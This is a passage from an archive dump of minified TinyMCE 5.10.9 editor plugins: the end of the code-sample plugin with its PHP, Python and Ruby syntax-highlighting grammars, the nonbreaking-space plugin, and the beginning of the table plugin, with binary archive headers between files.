/i,alias:"class-name",greedy:!0,lookbehind:!0},{pattern:/([^:]|^)(?:\\?\b[a-z_]\w*)+/i,alias:["class-name","class-name-fully-qualified"],greedy:!0,lookbehind:!0,inside:{punctuation:/\\/}}],constant:t,number:a,operator:r,punctuation:s}},delimiter:{pattern:/^#\[|\]$/,alias:"punctuation"}}}}),n.hooks.add("before-tokenize",function(e){/<\?/.test(e.code)&&n.languages["markup-templating"].buildPlaceholders(e,"php",/<\?(?:[^"'/#]|\/(?![*/])|("|')(?:\\[\s\S]|(?!\1)[^\\])*\1|(?:\/\/|#(?!\[))(?:[^?\n\r]|\?(?!>))*(?=$|\?>|[\r\n])|#\[|\/\*(?:[^*]|\*(?!\/))*(?:\*\/|$))*?(?:\?>|$)/g)}),n.hooks.add("after-tokenize",function(e){n.languages["markup-templating"].tokenizePlaceholders(e,"php")})}(Prism),Prism.languages.python={comment:{pattern:/(^|[^\\])#.*/,lookbehind:!0,greedy:!0},"string-interpolation":{pattern:/(?:f|fr|rf)(?:("""|''')[\s\S]*?\1|("|')(?:\\.|(?!\2)[^\\\r\n])*\2)/i,greedy:!0,inside:{interpolation:{pattern:/((?:^|[^{])(?:\{\{)*)\{(?!\{)(?:[^{}]|\{(?!\{)(?:[^{}]|\{(?!\{)(?:[^{}])+\})+\})+\}/,lookbehind:!0,inside:{"format-spec":{pattern:/(:)[^:(){}]+(?=\}$)/,lookbehind:!0},"conversion-option":{pattern:/![sra](?=[:}]$)/,alias:"punctuation"},rest:null}},string:/[\s\S]+/}},"triple-quoted-string":{pattern:/(?:[rub]|br|rb)?("""|''')[\s\S]*?\1/i,greedy:!0,alias:"string"},string:{pattern:/(?:[rub]|br|rb)?("|')(?:\\.|(?!\1)[^\\\r\n])*\1/i,greedy:!0},function:{pattern:/((?:^|\s)def[ \t]+)[a-zA-Z_]\w*(?=\s*\()/g,lookbehind:!0},"class-name":{pattern:/(\bclass\s+)\w+/i,lookbehind:!0},decorator:{pattern:/(^[\t ]*)@\w+(?:\.\w+)*/m,lookbehind:!0,alias:["annotation","punctuation"],inside:{punctuation:/\./}},keyword:/\b(?:_(?=\s*:)|and|as|assert|async|await|break|case|class|continue|def|del|elif|else|except|exec|finally|for|from|global|if|import|in|is|lambda|match|nonlocal|not|or|pass|print|raise|return|try|while|with|yield)\b/,builtin:/\b(?:__import__|abs|all|any|apply|ascii|basestring|bin|bool|buffer|bytearray|bytes|callable|chr|classmethod|cmp|coerce|compile|complex|delattr|dict|dir|divmod|enumerate|eval|execfile|file|filter|float|format|frozenset|getattr|globals|hasattr|hash|help|hex|id|input|int|intern|isinstance|issubclass|iter|len|list|locals|long|map|max|memoryview|min|next|object|oct|open|ord|pow|property|range|raw_input|reduce|reload|repr|reversed|round|set|setattr|slice|sorted|staticmethod|str|sum|super|tuple|type|unichr|unicode|vars|xrange|zip)\b/,boolean:/\b(?:False|None|True)\b/,number:/\b0(?:b(?:_?[01])+|o(?:_?[0-7])+|x(?:_?[a-f0-9])+)\b|(?:\b\d+(?:_\d+)*(?:\.(?:\d+(?:_\d+)*)?)?|\B\.\d+(?:_\d+)*)(?:e[+-]?\d+(?:_\d+)*)?j?(?!\w)/i,operator:/[-+%=]=?|!=|:=|\*\*?=?|\/\/?=?|<[<=>]?|>[=>]?|[&|^~]/,punctuation:/[{}[\];(),.:]/},Prism.languages.python["string-interpolation"].inside.interpolation.inside.rest=Prism.languages.python,Prism.languages.py=Prism.languages.python,function(e){e.languages.ruby=e.languages.extend("clike",{comment:{pattern:/#.*|^=begin\s[\s\S]*?^=end/m,greedy:!0},"class-name":{pattern:/(\b(?:class|module)\s+|\bcatch\s+\()[\w.\\]+|\b[A-Z_]\w*(?=\s*\.\s*new\b)/,lookbehind:!0,inside:{punctuation:/[.\\]/}},keyword:/\b(?:BEGIN|END|alias|and|begin|break|case|class|def|define_method|defined|do|each|else|elsif|end|ensure|extend|for|if|in|include|module|new|next|nil|not|or|prepend|private|protected|public|raise|redo|require|rescue|retry|return|self|super|then|throw|undef|unless|until|when|while|yield)\b/,operator:/\.{2,3}|&\.|===|<?=>|[!=]?~|(?:&&|\|\||<<|>>|\*\*|[+\-*/%<>!^&|=])=?|[?:]/,punctuation:/[(){}[\].,;]/}),e.languages.insertBefore("ruby","operator",{"double-colon":{pattern:/::/,alias:"punctuation"}});var n={pattern:/((?:^|[^\\])(?:\\{2})*)#\{(?:[^{}]|\{[^{}]*\})*\}/,lookbehind:!0,inside:{content:{pattern:/^(#\{)[\s\S]+(?=\}$)/,lookbehind:!0,inside:e.languages.ruby},delimiter:{pattern:/^#\{|\}$/,alias:"punctuation"}}};delete e.languages.ruby.function;var t="(?:"+[/([^a-zA-Z0-9\s{(\[<=])(?:(?!\1)[^\\]|\\[\s\S])*\1/.source,/\((?:[^()\\]|\\[\s\S]|\((?:[^()\\]|\\[\s\S])*\))*\)/.source,/\{(?:[^{}\\]|\\[\s\S]|\{(?:[^{}\\]|\\[\s\S])*\})*\}/.source,/\[(?:[^\[\]\\]|\\[\s\S]|\[(?:[^\[\]\\]|\\[\s\S])*\])*\]/.source,/<(?:[^<>\\]|\\[\s\S]|<(?:[^<>\\]|\\[\s\S])*>)*>/.source].join("|")+")",a=/(?:"(?:\\.|[^"\\\r\n])*"|(?:\b[a-zA-Z_]\w*|[^\s\0-\x7F]+)[?!]?|\$.)/.source;e.languages.insertBefore("ruby","keyword",{"regex-literal":[{pattern:RegExp(/%r/.source+t+/[egimnosux]{0,6}/.source),greedy:!0,inside:{interpolation:n,regex:/[\s\S]+/}},{pattern:/(^|[^/])\/(?!\/)(?:\[[^\r\n\]]+\]|\\.|[^[/\\\r\n])+\/[egimnosux]{0,6}(?=\s*(?:$|[\r\n,.;})#]))/,lookbehind:!0,greedy:!0,inside:{interpolation:n,regex:/[\s\S]+/}}],variable:/[@$]+[a-zA-Z_]\w*(?:[?!]|\b)/,symbol:[{pattern:RegExp(/(^|[^:]):/.source+a),lookbehind:!0,greedy:!0},{pattern:RegExp(/([\r\n{(,][ \t]*)/.source+a+/(?=:(?!:))/.source),lookbehind:!0,greedy:!0}],"method-definition":{pattern:/(\bdef\s+)\w+(?:\s*\.\s*\w+)?/,lookbehind:!0,inside:{function:/\b\w+$/,keyword:/^self\b/,"class-name":/^\w+/,punctuation:/\./}}}),e.languages.insertBefore("ruby","string",{"string-literal":[{pattern:RegExp(/%[qQiIwWs]?/.source+t),greedy:!0,inside:{interpolation:n,string:/[\s\S]+/}},{pattern:/("|')(?:#\{[^}]+\}|#(?!\{)|\\(?:\r\n|[\s\S])|(?!\1)[^\\#\r\n])*\1/,greedy:!0,inside:{interpolation:n,string:/[\s\S]+/}},{pattern:/<<[-~]?([a-z_]\w*)[\r\n](?:.*[\r\n])*?[\t ]*\1/i,alias:"heredoc-string",greedy:!0,inside:{delimiter:{pattern:/^<<[-~]?[a-z_]\w*|\b[a-z_]\w*$/i,inside:{symbol:/\b\w+/,punctuation:/^<<[-~]?/}},interpolation:n,string:/[\s\S]+/}},{pattern:/<<[-~]?'([a-z_]\w*)'[\r\n](?:.*[\r\n])*?[\t ]*\1/i,alias:"heredoc-string",greedy:!0,inside:{delimiter:{pattern:/^<<[-~]?'[a-z_]\w*'|\b[a-z_]\w*$/i,inside:{symbol:/\b\w+/,punctuation:/^<<[-~]?'|'$/}},string:/[\s\S]+/}}],"command-literal":[{pattern:RegExp(/%x/.source+t),greedy:!0,inside:{interpolation:n,command:{pattern:/[\s\S]+/,alias:"string"}}},{pattern:/`(?:#\{[^}]+\}|#(?!\{)|\\(?:\r\n|[\s\S])|[^\\`#\r\n])*`/,greedy:!0,inside:{interpolation:n,command:{pattern:/[\s\S]+/,alias:"string"}}}]}),delete e.languages.ruby.string,e.languages.insertBefore("ruby","number",{builtin:/\b(?:Array|Bignum|Binding|Class|Continuation|Dir|Exception|FalseClass|File|Fixnum|Float|Hash|IO|Integer|MatchData|Method|Module|NilClass|Numeric|Object|Proc|Range|Regexp|Stat|String|Struct|Symbol|TMS|Thread|ThreadGroup|Time|TrueClass)\b/,constant:/\b[A-Z][A-Z0-9_]*(?:[?!]|\b)/}),e.languages.rb=e.languages.ruby}(Prism),{boltExport:c.exports}},"object"==typeof e&&void 0!==n?n.exports=a():(t="undefined"!=typeof globalThis?globalThis:t||self).EphoxContactWrapper=a();window.Prism;window.Prism=r}(b,m);var k=m.exports.boltExport;t.add("codesample",function(n){var t,r,a,s;function e(){return s.execCommand("codesample")}r=(t=n).$,t.on("PreProcess",function(e){r("pre[contenteditable=false]",e.node).filter(c(u)).each(function(e,n){var t=r(n),a=n.textContent;t.attr("class",r.trim(t.attr("class"))),t.removeAttr("contentEditable"),t.empty().append(r("<code></code>").each(function(){this.textContent=a}))})}),t.on("SetContent",function(){var e=r("pre").filter(c(u)).filter(function(e,n){return"false"!==n.contentEditable});e.length&&t.undoManager.transact(function(){e.each(function(e,n){r(n).find("br").each(function(e,n){n.parentNode.replaceChild(t.getDoc().createTextNode("\n"),n)}),n.contentEditable="false",n.innerHTML=t.dom.encode(n.textContent),h(t).highlightElement(n),n.className=r.trim(n.className)})})}),(s=n).ui.registry.addToggleButton("codesample",{icon:"code-sample",tooltip:"Insert/edit code sample",onAction:e,onSetup:function(t){function e(){var e,n;t.setActive((n=(e=s).selection.getStart(),e.dom.is(n,'pre[class*="language-"]')))}return s.on("NodeChange",e),function(){return s.off("NodeChange",e)}}}),s.ui.registry.addMenuItem("codesample",{text:"Code sample...",icon:"code-sample",onAction:e}),(a=n).addCommand("codesample",function(){var e=a.selection.getNode();a.selection.isCollapsed()||u(e)?w(a):a.formatter.toggle("code")}),n.on("dblclick",function(e){u(e.target)&&w(n)})})}();PK
h�\��&mm4program/js/tinymce/plugins/nonbreaking/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function o(n,e){for(var a="",o=0;o<e;o++)a+=n;return a}function s(n,e){var a=n.getParam("nonbreaking_wrap",!0,"boolean")||n.plugins.visualchars?'<span class="'+(n.plugins.visualchars&&n.plugins.visualchars.isEnabled()?"mce-nbsp-wrap mce-nbsp":"mce-nbsp-wrap")+'" contenteditable="false">'+o("&nbsp;",e)+"</span>":o("&nbsp;",e);n.undoManager.transact(function(){return n.insertContent(a)})}var n=tinymce.util.Tools.resolve("tinymce.PluginManager"),c=tinymce.util.Tools.resolve("tinymce.util.VK");n.add("nonbreaking",function(n){var e,a,o,t,i;function r(){return a.execCommand("mceNonBreaking")}(e=n).addCommand("mceNonBreaking",function(){s(e,1)}),(a=n).ui.registry.addButton("nonbreaking",{icon:"non-breaking",tooltip:"Nonbreaking space",onAction:r}),a.ui.registry.addMenuItem("nonbreaking",{icon:"non-breaking",text:"Nonbreaking space",onAction:r}),0<(i="boolean"==typeof(t=(o=n).getParam("nonbreaking_force_tab",0))?!0===t?3:0:t)&&o.on("keydown",function(n){n.keyCode!==c.TAB||n.isDefaultPrevented()||n.shiftKey||(n.preventDefault(),n.stopImmediatePropagation(),s(o,i))})})}();PK
h�\�j�sv0v0.program/js/tinymce/plugins/table/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function e(r){return function(e){return t=typeof(n=e),(null===n?"null":"object"==t&&(Array.prototype.isPrototypeOf(n)||n.constructor&&"Array"===n.constructor.name)?"array":"object"==t&&(String.prototype.isPrototypeOf(n)||n.constructor&&"String"===n.constructor.name)?"string":t)===r;var n,t}}function n(n){return function(e){return typeof e===n}}function t(n){return function(e){return n===e}}function l(e){return!(null==e)}function E(){}function C(e){return function(){return e}}function S(e){return e}function r(e,n){return e===n}var T=e("string"),g=e("object"),a=e("array"),h=t(null),o=n("boolean"),u=t(void 0),c=n("function"),f=n("number");function P(r){for(var o=[],e=1;e<arguments.length;e++)o[e-1]=arguments[e];return function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];var t=o.concat(e);return r.apply(null,t)}}function p(n){return function(e){return!n(e)}}function i(){return s}var v=C(!1),x=C(!0),s={fold:function(e,n){return e()},isSome:v,isNone:x,getOr:S,getOrThunk:m,getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:C(null),getOrUndefined:C(void 0),or:S,orThunk:m,map:i,each:E,bind:i,exists:v,forall:x,filter:function(){return s},toArray:function(){return[]},toString:C("none()")};function m(e){return e()}function y(e,n){return-1<G.call(e,n)}function R(e,n){for(var t=0,r=e.length;t<r;t++)if(n(e[t],t))return!0;return!1}function D(e,n){for(var t=[],r=0;r<e;r++)t.push(n(r));return t}function O(e,n){for(var t=e.length,r=new Array(t),o=0;o<t;o++){var u=e[o];r[o]=n(u,o)}return r}function A(e,n){for(var t=0,r=e.length;t<r;t++)n(e[t],t)}function d(e,n){for(var t=[],r=[],o=0,u=e.length;o<u;o++){var i=e[o];(n(i,o)?t:r).push(i)}return{pass:t,fail:r}}function k(e,n){for(var t=[],r=0,o=e.length;r<o;r++){var u=e[r];n(u,r)&&t.push(u)}return t}function I(e,r,o){return function(e){for(var n,t=e.length-1;0<=t;t--)n=e[t],o=r(o,n,t)}(e),o}function B(e,t,r){return A(e,function(e,n){r=t(r,e,n)}),r}function w(e,n){return function(e,n,t){for(var r=0,o=e.length;r<o;r++){var u=e[r];if(n(u,r))return q.some(u);if(t(u,r))break}return q.none()}(e,n,v)}function b(e,n){for(var t=0,r=e.length;t<r;t++)if(n(e[t],t))return q.some(t);return q.none()}function M(e){for(var n=[],t=0,r=e.length;t<r;++t){if(!a(e[t]))throw new Error("Arr.flatten item "+t+" was not an array, input: "+e);$.apply(n,e[t])}return n}function N(e,n){return M(O(e,n))}function z(e,n){for(var t=0,r=e.length;t<r;++t)if(!0!==n(e[t],t))return!1;return!0}function L(e,n){for(var t={},r=0,o=e.length;r<o;r++){var u=e[r];t[String(u)]=n(u,r)}return t}function _(e){return[e]}function W(e,n){return 0<=n&&n<e.length?q.some(e[n]):q.none()}function j(e){return W(e,0)}function F(e){return W(e,e.length-1)}function H(e,n){for(var t=0;t<e.length;t++){var r=n(e[t],t);if(r.isSome())return r}return q.none()}var V=function(t){function e(){return o}function n(e){return e(t)}var r=C(t),o={fold:function(e,n){return n(t)},isSome:x,isNone:v,getOr:r,getOrThunk:r,getOrDie:r,getOrNull:r,getOrUndefined:r,or:e,orThunk:e,map:function(e){return V(e(t))},each:function(e){e(t)},bind:n,exists:n,forall:n,filter:function(e){return e(t)?o:s},toArray:function(){return[t]},toString:function(){return"some("+t+")"}};return o},q={some:V,none:i,from:function(e){return null==e?s:V(e)}},U=Array.prototype.slice,G=Array.prototype.indexOf,$=Array.prototype.push,K=function(){return(K=Object.assign||function(e){for(var n,t=1,r=arguments.length;t<r;t++)for(var o in n=arguments[t])Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o]);return e}).apply(this,arguments)};function X(e,n,t){if(t||2===arguments.length)for(var r,o=0,u=n.length;o<u;o++)!r&&o in n||((r=r||Array.prototype.slice.call(n,0,o))[o]=n[o]);return e.concat(r||Array.prototype.slice.call(n))}function Y(t){var r,o=!1;return function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];return o||(o=!0,r=t.apply(null,e)),r}}function J(e,n){var t=String(n).toLowerCase();return w(e,function(e){return e.search(t)})}function Q(e,n,t){return""===n||e.length>=n.length&&e.substr(t,t+n.length)===n}function Z(e,n){return-1!==e.indexOf(n)}function ee(e,n){return Q(e,n,e.length-n.length)}function ne(e){return 0<e.length}function te(n){return function(e){return Z(e,n)}}function re(e){return window.matchMedia(e).matches}function oe(e,n){var t=e.dom;if(1!==t.nodeType)return!1;var r=t;if(void 0!==r.matches)return r.matches(n);if(void 0!==r.msMatchesSelector)return r.msMatchesSelector(n);if(void 0!==r.webkitMatchesSelector)return r.webkitMatchesSelector(n);if(void 0!==r.mozMatchesSelector)return r.mozMatchesSelector(n);throw new Error("Browser lacks native selectors")}function ue(e){return 1!==e.nodeType&&9!==e.nodeType&&11!==e.nodeType||0===e.childElementCount}function ie(e,n){var t=void 0===n?document:n.dom;return ue(t)?q.none():q.from(t.querySelector(e)).map(Ve.fromDom)}function ce(e,n){return e.dom===n.dom}function le(e,n){return He().browser.isIE()?(t=e.dom,r=n.dom,o=Node.DOCUMENT_POSITION_CONTAINED_BY,0!=(t.compareDocumentPosition(r)&o)):(u=e.dom)!==(i=n.dom)&&u.contains(i);var t,r,o,u,i}function ae(e,n){for(var t=Ue(e),r=0,o=t.length;r<o;r++){var u=t[r];n(e[u],u)}}function fe(e,t){return $e(e,function(e,n){return{k:n,v:t(e,n)}})}function se(e,n){var t={},r=n,o=t,u=function(e,n){o[n]=e},i=E;return ae(e,function(e,n){(r(e,n)?u:i)(e,n)}),t}function me(e,t){var r=[];return ae(e,function(e,n){r.push(t(e,n))}),r}function de(e){return me(e,S)}function ge(e){return Ue(e).length}function pe(e,n){return Ke(e,n)?q.from(e[n]):q.none()}function be(e,n){return Ke(e,n)&&void 0!==e[n]&&null!==e[n]}function he(e,n,t){return{element:e,rowspan:n,colspan:t}}function ve(e,n,t){return{element:e,cells:n,section:t}}function we(e,n,t){return{element:e,isNew:n,isLocked:t}}function ye(e,n,t,r){return{element:e,cells:n,section:t,isNew:r}}function Ce(){return De(0,0)}function Se(e){function n(e){return function(){return t===e}}var t=e.current,r=e.version;return{current:t,version:r,isEdge:n("Edge"),isChrome:n("Chrome"),isIE:n("IE"),isOpera:n("Opera"),isFirefox:n(Me),isSafari:n("Safari")}}function Te(e){function n(e){return function(){return t===e}}var t=e.current,r=e.version;return{current:t,version:r,isWindows:n(Ne),isiOS:n("iOS"),isAndroid:n(ze),isOSX:n("OSX"),isLinux:n("Linux"),isSolaris:n(Le),isFreeBSD:n(_e),isChromeOS:n(We)}}function xe(e){if(null==e)throw new Error("Node cannot be null or undefined");return{dom:e}}var Re,De=function(e,n){return{major:e,minor:n}},Oe={nu:De,detect:function(e,n){var t,r,o=String(n).toLowerCase();return 0===e.length?Ce():(r=function(e,n){for(var t=0;t<e.length;t++){var r=e[t];if(r.test(n))return r}}(e,t=o))?De(u(1),u(2)):{major:0,minor:0};function u(e){return Number(t.replace(r,"$"+e))}},unknown:Ce},Ae=function(e,n){return Q(e,n,0)},ke=(Re=/^\s+|\s+$/g,function(e){return e.replace(Re,"")}),Ie=/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,Be={browsers:C([{name:"Edge",versionRegexes:[/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],search:function(e){return Z(e,"edge/")&&Z(e,"chrome")&&Z(e,"safari")&&Z(e,"applewebkit")}},{name:"Chrome",brand:"Chromium",versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/,Ie],search:function(e){return Z(e,"chrome")&&!Z(e,"chromeframe")}},{name:"IE",versionRegexes:[/.*?msie\ ?([0-9]+)\.([0-9]+).*/,/.*?rv:([0-9]+)\.([0-9]+).*/],search:function(e){return Z(e,"msie")||Z(e,"trident")}},{name:"Opera",versionRegexes:[Ie,/.*?opera\/([0-9]+)\.([0-9]+).*/],search:te("opera")},{name:"Firefox",versionRegexes:[/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],search:te("firefox")},{name:"Safari",versionRegexes:[Ie,/.*?cpu os ([0-9]+)_([0-9]+).*/],search:function(e){return(Z(e,"safari")||Z(e,"mobile/"))&&Z(e,"applewebkit")}}]),oses:C([{name:"Windows",search:te("win"),versionRegexes:[/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]},{name:"iOS",search:function(e){return Z(e,"iphone")||Z(e,"ipad")},versionRegexes:[/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,/.*cpu os ([0-9]+)_([0-9]+).*/,/.*cpu iphone os ([0-9]+)_([0-9]+).*/]},{name:"Android",search:te("android"),versionRegexes:[/.*?android\ ?([0-9]+)\.([0-9]+).*/]},{name:"OSX",search:te("mac os x"),versionRegexes:[/.*?mac\ os\ x\ ?([0-9]+)_([0-9]+).*/]},{name:"Linux",search:te("linux"),versionRegexes:[]},{name:"Solaris",search:te("sunos"),versionRegexes:[]},{name:"FreeBSD",search:te("freebsd"),versionRegexes:[]},{name:"ChromeOS",search:te("cros"),versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/]}])},Me="Firefox",Ee=function(){return Se({current:void 0,version:Oe.unknown()})},Pe=Se,Ne=(C("Edge"),C("Chrome"),C("IE"),C("Opera"),C(Me),C("Safari"),"Windows"),ze="Android",Le="Solaris",_e="FreeBSD",We="ChromeOS",je=function(){return Te({current:void 0,version:Oe.unknown()})},Fe=Te,He=(C(Ne),C("iOS"),C(ze),C("Linux"),C("OSX"),C(Le),C(_e),C(We),Y(function(){return e=navigator.userAgent,n=q.from(navigator.userAgentData),t=re,p=Be.browsers(),b=Be.oses(),h=n.bind(function(e){return r=p,H(e.brands,function(n){var t=n.brand.toLowerCase();return w(r,function(e){var n;return t===(null===(n=e.brand)||void 0===n?void 0:n.toLowerCase())}).map(function(e){return{current:e.name,version:Oe.nu(parseInt(n.version,10),0)}})});var r}).orThunk(function(){return J(p,t=e).map(function(e){var n=Oe.detect(e.versionRegexes,t);return{current:e.name,version:n}});var t}).fold(Ee,Pe),v=J(b,r=e).map(function(e){var n=Oe.detect(e.versionRegexes,r);return{current:e.name,version:n}}).fold(je,Fe),{browser:h,os:v,deviceType:(u=h,i=e,c=t,l=(o=v).isiOS()&&!0===/ipad/i.test(i),a=o.isiOS()&&!l,s=(f=o.isiOS()||o.isAndroid())||c("(pointer:coarse)"),m=l||!a&&f&&c("(min-device-width:768px)"),d=a||f&&!m,g=u.isSafari()&&o.isiOS()&&!1===/safari/i.test(i),{isiPad:C(l),isiPhone:C(a),isTablet:C(m),isPhone:C(d),isTouch:C(s),isAndroid:o.isAndroid,isiOS:o.isiOS,isWebView:C(g),isDesktop:C(!d&&!m&&!g)})};var e,n,t,r,o,u,i,c,l,a,f,s,m,d,g,p,b,h,v})),Ve={fromHtml:function(e,n){var t=(n||document).createElement("div");if(t.innerHTML=e,!t.hasChildNodes()||1<t.childNodes.length)throw console.error("HTML does not have a single root node",e),new Error("HTML must have a single root node");return xe(t.childNodes[0])},fromTag:function(e,n){var t=(n||document).createElement(e);return xe(t)},fromText:function(e,n){var t=(n||document).createTextNode(e);return xe(t)},fromDom:xe,fromPoint:function(e,n,t){return q.from(e.dom.elementFromPoint(n,t)).map(xe)}},qe=oe,Ue=Object.keys,Ge=Object.hasOwnProperty,$e=function(e,r){var o={};return ae(e,function(e,n){var t=r(e,n);o[t.k]=t.v}),o},Ke=function(e,n){return Ge.call(e,n)},Xe=["tfoot","thead","tbody","colgroup"];function Ye(e){return e.dom.nodeName.toLowerCase()}function Je(e){return e.dom.nodeType}function Qe(n){return function(e){return Je(e)===n}}function Ze(e){return 8===Je(e)||"#comment"===Ye(e)}function en(n){return function(e){return gn(e)&&Ye(e)===n}}function nn(e){return Ve.fromDom(e.dom.ownerDocument)}function tn(e){return bn(e)?e:nn(e)}function rn(e){return q.from(e.dom.parentNode).map(Ve.fromDom)}function on(e,n){for(var t=c(n)?n:v,r=e.dom,o=[];null!==r.parentNode&&void 0!==r.parentNode;){var u=r.parentNode,i=Ve.fromDom(u);if(o.push(i),!0===t(i))break;r=u}return o}function un(e){return q.from(e.dom.previousSibling).map(Ve.fromDom)}function cn(e){return q.from(e.dom.nextSibling).map(Ve.fromDom)}function ln(e){return O(e.dom.childNodes,Ve.fromDom)}function an(e,n){var t=e.dom.childNodes;return q.from(t[n]).map(Ve.fromDom)}function fn(e){return Ve.fromDom(e.dom.host)}function sn(e,n,t){return r=function(e){return oe(e,n)},k(on(e,t),r);var r}function mn(e,n){return t=function(e){return oe(e,n)},k(ln(e),t);var t}function dn(e,n){return ue(t=void 0===e?document:e.dom)?[]:O(t.querySelectorAll(n),Ve.fromDom);var t}"undefined"!=typeof window||Function("return this;")();var gn=Qe(1),pn=Qe(3),bn=Qe(9),hn=Qe(11),vn=c(Element.prototype.attachShadow)&&c(Node.prototype.getRootNode),wn=C(vn),yn=vn?function(e){return Ve.fromDom(e.dom.getRootNode())}:tn,Cn=function(e){return l(e.dom.shadowRoot)},Sn=function(e){var n=pn(e)?e.dom.parentNode:e.dom;if(null==n||null===n.ownerDocument)return!1;var t,r,o,u,i,c=n.ownerDocument;return o=Ve.fromDom(n),i=yn(o),(hn(u=i)&&l(u.dom.host)?q.some(i):q.none()).fold(function(){return c.body.contains(n)},(t=Sn,r=fn,function(e){return t(r(e))}))},Tn=function(e){var n=e.dom.body;if(null==n)throw new Error("Body is not available yet");return Ve.fromDom(n)},xn=function(e,n){var t=[];return A(ln(e),function(e){t=(t=n(e)?t.concat([e]):t).concat(xn(e,n))}),t};function Rn(e,n,t,r,o){return e(t,r)?q.some(t):c(o)&&o(t)?q.none():n(t,r,o)}function Dn(e,n,t){for(var r=e.dom,o=c(t)?t:v;r.parentNode;){var r=r.parentNode,u=Ve.fromDom(r);if(n(u))return q.some(u);if(o(u))break}return q.none()}function On(e,n,t){return Dn(e,function(e){return oe(e,n)},t)}function An(e,n){return t=function(e){return oe(e,n)},w(e.dom.childNodes,function(e){return t(Ve.fromDom(e))}).map(Ve.fromDom);var t}function kn(e,n){return ie(n,e)}function In(e,n,t){return Rn(oe,On,e,n,t)}function Bn(e,n,t){if(!(T(t)||o(t)||f(t)))throw console.error("Invalid call to Attribute.set. Key ",n,":: Value ",t,":: Element ",e),new Error("Attribute value was not simple");e.setAttribute(n,t+"")}function Mn(e,n,t){Bn(e.dom,n,t)}function En(e,n){var t=e.dom;ae(n,function(e,n){Bn(t,n,e)})}function Pn(e,n){var t=e.dom.getAttribute(n);return null===t?void 0:t}function Nn(e,n){return q.from(Pn(e,n))}function zn(e){return B(e.dom.attributes,function(e,n){return e[n.name]=n.value,e},{})}function Ln(e,n,t){return void 0===t&&(t=r),e.exists(function(e){return t(e,n)})}function _n(e){for(var n=[],t=function(e){n.push(e)},r=0;r<e.length;r++)e[r].each(t);return n}function Wn(e,n,t){return e.isSome()&&n.isSome()?q.some(t(e.getOrDie(),n.getOrDie())):q.none()}function jn(e,n){return e?q.some(n):q.none()}function Fn(e){return void 0!==e.style&&c(e.style.getPropertyValue)}function Hn(e,n,t){if(!T(t))throw console.error("Invalid call to CSS.set. Property ",n,":: Value ",t,":: Element ",e),new Error("CSS value must be a string: "+t);Fn(e)&&e.style.setProperty(n,t)}function Vn(e,n,t){Hn(e.dom,n,t)}function qn(e,n){var t=e.dom;ae(n,function(e,n){Hn(t,n,e)})}function Un(e,n){var t=e.dom,r=window.getComputedStyle(t).getPropertyValue(n);return""!==r||Sn(e)?r:jt(t,n)}function Gn(e,n){var t=e.dom,r=jt(t,n);return q.from(r).filter(function(e){return 0<e.length})}function $n(e,n){var t,r=n;Fn(t=e.dom)&&t.style.removeProperty(r),Ln(Nn(e,"style").map(ke),"")&&Wt(e,"style")}function Kn(e,n,t){return void 0===t&&(t=0),Nn(e,n).map(function(e){return parseInt(e,10)}).getOr(t)}function Xn(e,n){return Kn(e,n,1)}function Yn(e){return en("col")(e)?1<Kn(e,"span",1):1<Xn(e,"colspan")}function Jn(e){return 1<Xn(e,"rowspan")}function Qn(e,n){return parseInt(Un(e,n),10)}function Zn(e,n){return Vt(e,n,x)}function et(e,n){return t=["td","th"],(o=void 0===(o=n)?v:n)(r=e)?q.none():y(t,Ye(r))?q.some(r):On(r,t.join(","),function(e){return oe(e,"table")||o(e)});var t,r,o}function nt(e){return Zn(e,"th,td")}function tt(e){return oe(e,"colgroup")?mn(e,"col"):N(qt(e),function(e){return mn(e,"col")})}function rt(e,n){return In(e,"table",n)}function ot(e){return Zn(e,"tr")}function ut(e,t){return O(e,function(e){if("colgroup"!==Ye(e))return ve(e,n=O(nt(e),function(e){return he(e,Kn(e,"rowspan",1),Kn(e,"colspan",1))}),t(e));var n=O(tt(e),function(e){return he(e,1,Kn(e,"span",1))});return ve(e,n,"colgroup")})}function it(e){return rn(e).map(function(e){var n=Ye(e);return y(Xe,n)?n:"tbody"}).getOr("tbody")}function ct(e){var n=ot(e);return ut(X(X([],qt(e),!0),n,!0),it)}function lt(e,n,t){var r=e.cells,o=r.slice(0,n),u=r.slice(n),i=o.concat(t).concat(u);return Ut(e,i)}function at(e,n,t){return lt(e,n,[t])}function ft(e,n,t){e.cells[n]=t}function st(e,n){return e.cells[n]}function mt(e,n){return st(e,n).element}function dt(e){return e.cells.length}function gt(e){var n=d(e,function(e){return"colgroup"===e.section});return{rows:n.fail,cols:n.pass}}function pt(e,n,t){var r=O(e.cells,t);return ye(n(e.element),r,e.section,!0)}function bt(e){return Nn(e,Gt).bind(function(e){return q.from(e.match(/\d+/g))}).map(function(e){return L(e,x)})}function ht(e){var n,t=me(B(gt(e).rows,function(t,e){return A(e.cells,function(e,n){e.isLocked&&(t[n]=!0)}),t},{}),function(e,n){return parseInt(n,10)});return(n=U.call(t,0)).sort(void 0),n}function vt(e){var l={},n=[],a=j(e).map(function(e){return e.element}).bind(rt).bind(bt).getOr({}),t=0,f=0,s=0,r=d(e,function(e){return"colgroup"===e.section}),o=r.pass;A(r.fail,function(e){var c=[];A(e.cells,function(e){for(var n=0;void 0!==l[s+","+n];)n++;for(var 